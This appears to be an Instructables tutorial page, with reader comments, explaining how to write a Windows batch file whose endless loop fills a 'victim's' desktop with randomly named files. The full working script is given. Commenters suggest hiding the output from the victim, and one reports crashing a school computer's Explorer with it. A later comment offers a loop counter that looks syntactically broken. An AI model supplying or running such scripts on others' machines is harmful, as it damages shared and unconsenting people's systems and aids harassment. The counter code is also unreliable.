Batch Files

5,705

11

13

Published

Introduction: Batch Files

This is how to create a batch file that creates lots of files on the victims desktop.

Step 1: Step 1

Goto start then click run and type notepad

Step 2: Setp 2

in notepad type:

@echo off
:A
cd %current%
echo >%random%.%random%
goto A

Step 3: Step 3

click file then click save as and save it as any thing you wan't.bat it has to end with .bat or it won't work. and choose all files.

Step 4: Step 4

Command Prompt will come up just leave it for a while then close it and there will be lots of files on their desktop!!!!! It will give them random names like this 3437.7830. It will always have the dot in the middle.

Share

    Recommendations

    • Clocks Contest

      Clocks Contest
    • Game Life Contest

      Game Life Contest
    • Stick It! Contest

      Stick It! Contest

    13 Discussions

    Hey, this is a great instructable and is very informative. Just one thing is missing... pictures! It really helps a lot when trying to follow directions so you should consider taking some photographs. Once you do that and leave me a message when you have so that we can publish your work. Thanks! Thanks for the cool instructable and we hope to publish this soon!

    2 replies

    Great instructable. Wouldn't it be better to place the files somewhere - change directory - making it harder for them to know.

    I used this on a school computer and eventualy it chrashed the explorer. Now we can't get it to work...Any idea how to fix this?

    You can also get rid of the point in the created file names by changing
    %random%.%random% into %random%%random

    XOIIO you can control how many copies it will make by adding something like this:

    Set/p %loop%=1
    :1
    Blablabla
    Set/p %loop%=+1
    If %loop%=100 goto 2
    Goto 1
    :2
    Exit

    Can you control how many copies it makes?